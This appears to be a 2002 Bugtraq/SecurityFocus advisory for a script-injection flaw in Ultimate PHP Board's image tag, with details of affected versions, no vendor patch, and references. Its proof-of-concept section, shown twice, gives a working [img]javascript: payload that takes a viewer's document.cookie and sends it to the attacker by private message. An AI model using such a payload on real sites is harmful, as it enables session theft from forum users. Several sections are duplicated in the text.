Ultimate PHP Board Image Tag Script Injection Vulnerability
BID:4603
Info
Ultimate PHP Board Image Tag Script Injection Vulnerability
| Bugtraq ID: | 4603 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 25 2002 12:00AM |
| Updated: | Apr 25 2002 12:00AM |
| Credit: | Discovery of this issue is credited to frog frog <[email protected]>. |
| Vulnerable: |
X-Crew Ultimate PHP Board 1.1 X-Crew Ultimate PHP Board 1.0 Beta |
| Not Vulnerable: | |
Discussion
Ultimate PHP Board Image Tag Script Injection Vulnerability
Ultimate PHP Board (UPB) is web forum software. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.
Ultimate PHP Board does not filter script code from image tags. This may allow an attacker to include script code in forum messages. Injected script code will be executed in the browser of an arbitrary web user who views the malicious forum message, in the context of the website running UPB.
It may be possible to inject script code into other UPB-Code formatting tags, though this has not been confirmed.
Ultimate PHP Board (UPB) is web forum software. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.
Ultimate PHP Board does not filter script code from image tags. This may allow an attacker to include script code in forum messages. Injected script code will be executed in the browser of an arbitrary web user who views the malicious forum message, in the context of the website running UPB.
It may be possible to inject script code into other UPB-Code formatting tags, though this has not been confirmed.
Exploit / POC
Ultimate PHP Board Image Tag Script Injection Vulnerability
The following example was submitted:
[ img]javascript:window.open(' index.php?upb=pm&mode=send&send=yes&target_id=SONPROPREID&betreff=cookie&pm=' +document.cookie+ ' &smilies=1&use_upbcode=1&pmbox_id=IDDELAVICTIME&check=yes ')[/img ]
The following example was submitted:
[ img]javascript:window.open(' index.php?upb=pm&mode=send&send=yes&target_id=SONPROPREID&betreff=cookie&pm=' +document.cookie+ ' &smilies=1&use_upbcode=1&pmbox_id=IDDELAVICTIME&check=yes ')[/img ]
Solution / Fix
Ultimate PHP Board Image Tag Script Injection Vulnerability
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Ultimate PHP Board Image Tag Script Injection Vulnerability
References:
References:
- Security holes : Ultimate PHP Board (frog frog
- X-Crew Homepage (X-Crew)